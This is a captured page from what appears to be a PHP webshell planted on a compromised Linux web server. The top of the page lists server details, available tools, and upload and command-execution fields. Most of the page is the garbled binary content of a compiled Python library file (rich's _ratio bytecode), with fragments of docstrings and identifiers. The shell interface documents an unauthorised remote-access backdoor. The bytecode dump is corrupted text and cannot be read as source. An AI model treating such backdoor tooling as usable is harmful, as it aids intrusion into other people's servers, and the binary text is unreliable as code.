403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/rich/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/rich/__pycache__/_ratio.cpython-314.pyc
+
�niS�
�X�^RIt^RIHt^RIHt^RIHtHtHtH	t	]PR8�d^RIHtM^RIHt!RR]4t
RR	ltR
RltRRR
llt]R8XdJ^RIHt]!RR44t]!^n]!R^^4]!R^^4]!R^^4.4t]!]!]44R#R#)�N)�Fraction)�ceil)�cast�List�Optional�Sequence)�Protocolc�<a�]tRt^toRtRt^t^tV3RltRt	Vt
R#)�Edgez1Any object that defines an edge (such as Layout).Nc�N<�V^8�dQh/S[S[,;R&S[;R&S[;R&#���size�ratio�minimum_size�r�int)�format�
__classdict__s"��-/usr/lib/python3/dist-packages/rich/_ratio.py�__annotate__�Edge.__annotate__s/�����3�-����N�	�
����)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrr�__annotate_func__�__static_attributes__�__classdictcell__�rs@rrrs����;��D��E��L��rrc�h�V^8�dQhR\R\\,R\\,/#)r�total�edges�return)rrrr)rs"rrrs)��:"�:"��:"�X�d�^�:"��S�	�:"rc��VUu.uFq"P;'gRNK	pp\pRV9Ed \\W144UUUu.uFwpwrbVeKWR3NK	ppppV\	RV44,
pV^8:d:\W14UUu.uF!wrbVfVP
;'g^MTNK#	upp#V!V\	RV444p	VF7wrRW�P,VP
8:gK(VP
W5&K�	V!^4p
VF.wrR\W�P,V
,^4wrjWcV&K0	\\\,V4#uupiuupppiuuppi)a`Divide total space to satisfy size, ratio, and minimum_size, constraints.

The returned list of integers should add up to total in most cases, unless it is
impossible to satisfy all the constraints. For instance, if there are two edges
with a minimum size of 20 each and `total` is 30 then the returned list will be
greater than total. In practice, this would mean that a Layout object would
clip the rows that would overflow the screen height.

Args:
    total (int): Total number of characters.
    edges (List[Edge]): Edges within total space.

Returns:
    List[int]: Number of characters for each edge.
Nc3�8"�TFq;'g^x�K	R#5i)rNr)�.0rs& r�	<genexpr>� ratio_resolve.<locals>.<genexpr>2s���<�e�d�	�	��	�e�s��c3�R"�TFwrVP;'g^x�K	R#5i)�N)r)r*�_�edges&  rr+r,;s���K�N���D�J�J�O�O�!�O�N�s�'�')rr�	enumerate�zip�sumrr�divmodrrr)r%r&r0�sizes�	_Fraction�indexr�flexible_edges�	remaining�portion�	remainders&&         r�
ratio_resolver<sy��".3�3�U�T�i�i���4��U�E�3��I��%�-�(1��U�1B�'C�
�'C�#��|���
�U�M�'C�	�
��C�<�e�<�<�<�	���>�#&�e�"3��"3�J�D�.2�\�$�#�#�(�(�q��t�C�"3��
�
��s�K�N�K�K�
��
*�K�E����#�t�'8�'8�8�#�0�0����	*�"�!��I�-���"(��:�:�)=�	�)I�1�"M���#�e�� .�
���S�	�5�!�!��S
4��
��s"�E-�E-�E2�E2�E9�2	E9c��V^8�dQhR\R\\,R\\,R\\,R\\,/#)rr%�ratios�maximums�valuesr')rr)rs"rrrQsD�������S�	��-1�#�Y��@D�S�	��	�#�Y�rc��\W4UUu.uFwrEV'dTM^NK	ppp\V4pV'g
VR,#Tp.pVPp	\WV4F_wrJpV'dJV^8�dC\V
\	WG,V,44pV	!W�,
4W|,pWd,pKWV	!V4Ka	V#uuppi)aDDivide an integer total in to parts based on ratios.

Args:
    total (int): The total to divide.
    ratios (List[int]): A list of integer ratios.
    maximums (List[int]): List of maximums values for each slot.
    values (List[int]): List of values

Returns:
    List[int]: A list of integers guaranteed to sum to total.
:NNN)r2r3�append�min�round)
r%r>r?r@r�_max�total_ratio�total_remaining�resultrB�maximum�value�distributeds
&&&&         r�ratio_reducerLQs���7:�&�6K�
L�6K�{�u�t�e��"�6K�F�
L��f�+�K���a�y���O��F�
�]�]�F�!$�V�v�!>�����[�1�_��g�u�U�-D�{�-R�'S�T�K��5�&�'��*�O�� �K��5�M�"?��M��Ms�Cc	��V^8�dQhR\R\\,R\\\,,R\\,/#)rr%r>�minimumsr')rrr)rs"rrrqs=��!�!��!��S�	�!�-5�d�3�i�-@�!�	�#�Y�!rc��V'd)\W4UUu.uFwr4V'dTM^NK	ppp\V4pV^8�gQR4hTp.pVPpVf^.\V4,p	MTp	\W4FIwr:V^8�d$\	V
\W6,V,44pMTpV!V4WS,pWk,pKK	V#uuppi)a Distribute an integer total in to parts based on ratios.

Args:
    total (int): The total to divide.
    ratios (List[int]): A list of integer ratios.
    minimums (List[int]): List of minimum values for each slot.

Returns:
    List[int]: A list of integers guaranteed to sum to total.
zSum of ratios must be > 0)r2r3rB�len�maxr)r%r>rNr�_minrFrG�distributed_totalrB�	_minimums�minimumrKs&&&         r�ratio_distributerVqs����:=�f�:O�P�:O�;�5�4�%�Q�&�:O��P��f�+�K���?�7�7�7�?��O�#%��
�
%�
%�F����C�#�f�+�%�	��	��f�0�����?��g�t�E�,C�k�,Q�'R�S�K�)�K��{������&��1����'Qs�C�__main__)�	dataclassc�8a�]tRt^�toRt^t^tV3RltRtVt	R#)�ENc�N<�V^8�dQh/S[S[,;R&S[;R&S[;R&#r
r)rrs"�rr�E.__annotate__�s-�����s�m�"�������	rr)
rrrrrrrr r!r"r#s@rrZrZ�s����"������	�rrZ)��)N)�sys�	fractionsr�mathr�typingrrrr�version_infor	�typing_extensionsrr<rLrVr�dataclassesrXrZ�resolved�printr3rrr�<module>rhs���
���1�1����v���*��8��:"�z�@!�H�z��%������
�S�1�T�1�a�=�!�D�!�Q�-��4��A��"O�P�H�	�#�h�-��r

Youez - 2016 - github.com/yon3zu
LinuXploit